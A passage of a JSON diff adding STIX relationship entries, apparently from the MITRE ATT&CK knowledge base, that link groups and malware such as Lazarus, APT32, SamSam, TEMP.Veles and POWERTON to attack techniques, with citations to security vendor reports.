Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a custom secure delete function to overwrite file contents with data from heap memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T16:59:08.082Z", + "id": "relationship--27323a25-ef80-4519-b934-19f5ff090c70", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.645Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T17:01:01.255Z", + "id": "relationship--25e7ca82-2784-433a-90a9-a3483615a655", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.677Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + }, + { + "source_name": "LogRhythm WannaCry", + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "source_name": "SecureWorks WannaCry Analysis", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T17:01:01.266Z", + "id": "relationship--00e9a38d-6dc5-4d67-b2fe-977b1c7d17dd", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.668Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor hides the clientID file via a chflags function.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-15T20:57:46.638Z", + "id": "relationship--c7bb75c5-c678-4ea7-b9ed-0c12c5de3077", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.957Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor can receive a \u201cdelete\u201d command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-15T20:57:46.666Z", + "id": "relationship--8029cccc-e198-4326-ac27-67b5968007ee", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", + "description": "[APT32](https://attack.mitre.org/groups/G0050)'s macOS backdoor changes the permission of the file it wants to execute to 755.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-15T20:57:46.671Z", + "id": "relationship--a4409632-996c-4f20-bdb0-a8e92c98307f", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.981Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[SamSam](https://attack.mitre.org/software/S0370) has been seen using AES or DES to encrypt payloads and payload components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T12:57:12.866Z", + "id": "relationship--28e637e9-480a-443b-82d7-13b7e2968733", + "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "modified": "2019-04-18T20:59:56.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + }, + { + "description": "Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019.", + "source_name": "Talos SamSam Jan 2018", + "url": "https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[SamSam](https://attack.mitre.org/software/S0370) has used garbage code to pad some of its malware components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T12:57:12.888Z", + "id": "relationship--4c44fea9-545c-4d2f-a5e9-caee38ee65b4", + "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "modified": "2019-04-18T20:59:57.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[SamSam](https://attack.mitre.org/software/S0370) encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T12:57:12.895Z", + "id": "relationship--ac263a26-1773-4ac1-b81b-b29f9ace484a", + "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "modified": "2019-04-18T20:59:57.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[SamSam](https://attack.mitre.org/software/S0370) has been seen deleting its own files and payloads to make analysis of the attack more difficult.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T12:57:12.928Z", + "id": "relationship--063bf46c-0210-4e2f-bd7e-6db0f0975f07", + "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "modified": "2019-04-18T20:59:57.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[SamSam](https://attack.mitre.org/software/S0370) uses custom batch scripts to execute some of its components.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T12:57:12.930Z", + "id": "relationship--341025e9-e0b8-4e9b-873c-40d7bc86e131", + "source_ref": "malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62", + "modified": "2019-04-18T20:59:57.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Sophos SamSam Apr 2018", + "description": " Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.", + "url": "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) has used WinZip, likely to archive data prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T14:47:49.597Z", + "id": "relationship--5677034a-7015-44a2-94b3-9913bc76b9c7", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "modified": "2019-04-16T14:51:35.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has performed a variety of methods to look like valid users, including renaming files and mimicking legitimate administrator activities.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:21:57.810Z", + "id": "relationship--b9ca1199-cb71-4435-84ec-75aee916d1ae", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.296Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used [Mimikatz](https://attack.mitre.org/software/S0002) and a custom tool, SecHack, to harvest credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:21:57.823Z", + "id": "relationship--f2dc80a5-b616-464c-94cd-6d52395f79fe", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.320Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:21:57.835Z", + "id": "relationship--a8068bc5-7382-448b-9583-1f61edb68b96", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + }, + { + "source_name": "Dragos Xenotime 2018", + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:21:57.842Z", + "id": "relationship--57216102-21aa-402b-b306-79e1dd548716", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.698Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has modified and added entries within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options to maintain persistence.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.755Z", + "id": "relationship--173ba3ee-3bec-4849-b6a2-94ee5bce5f8e", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used scheduled task XML triggers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.773Z", + "id": "relationship--a8c82128-fcd4-49b2-8429-39a2b6db8c70", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.364Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) used timestomping to modify the $STANDARD_INFORMATION attribute on tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.777Z", + "id": "relationship--cafe602e-c163-451c-8d61-69907e59968c", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.405Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) routinely deleted tools, logs, and other files after they were finished with them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.783Z", + "id": "relationship--d705cc12-1d6c-414d-8b39-1c099dec07ab", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has created staging folders in directories that were infrequently used by legitimate users or processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.799Z", + "id": "relationship--28d58aa4-48ee-41c7-aefa-8e4402ddad3c", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.410Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T15:47:48.807Z", + "id": "relationship--857e24ad-248e-4068-b142-4421bc9254c4", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used compromised VPN accounts.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T16:08:49.378Z", + "id": "relationship--cf506331-5caf-44a2-8020-34bbefda43eb", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) utilized RDP throughout an operation.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T16:08:49.400Z", + "id": "relationship--76f7e81a-4637-4e02-b417-af4d85369432", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a VPN to persist in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T16:08:49.406Z", + "id": "relationship--3bd260ad-fca9-46c3-9144-51f24a917310", + "source_ref": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "modified": "2019-04-29T18:59:16.516Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye TRITON 2019", + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) has the ability to dump password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.905Z", + "id": "relationship--b8133b35-52b8-4407-9845-a00b6a739cdc", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.489Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) can install a Registry Run key for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.914Z", + "id": "relationship--e4465d76-d212-4f14-8493-c9c5d7c8a6f4", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) can use WMI for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.921Z", + "id": "relationship--ff53be5e-2a57-4a9e-a0c1-cc075c1331c4", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.523Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[POWERTON](https://attack.mitre.org/software/S0371) is written in PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-16T17:43:42.929Z", + "id": "relationship--570da7ec-2d72-4e1b-9f30-f0e1a10085bf", + "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", + "modified": "2019-04-22T19:59:21.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": 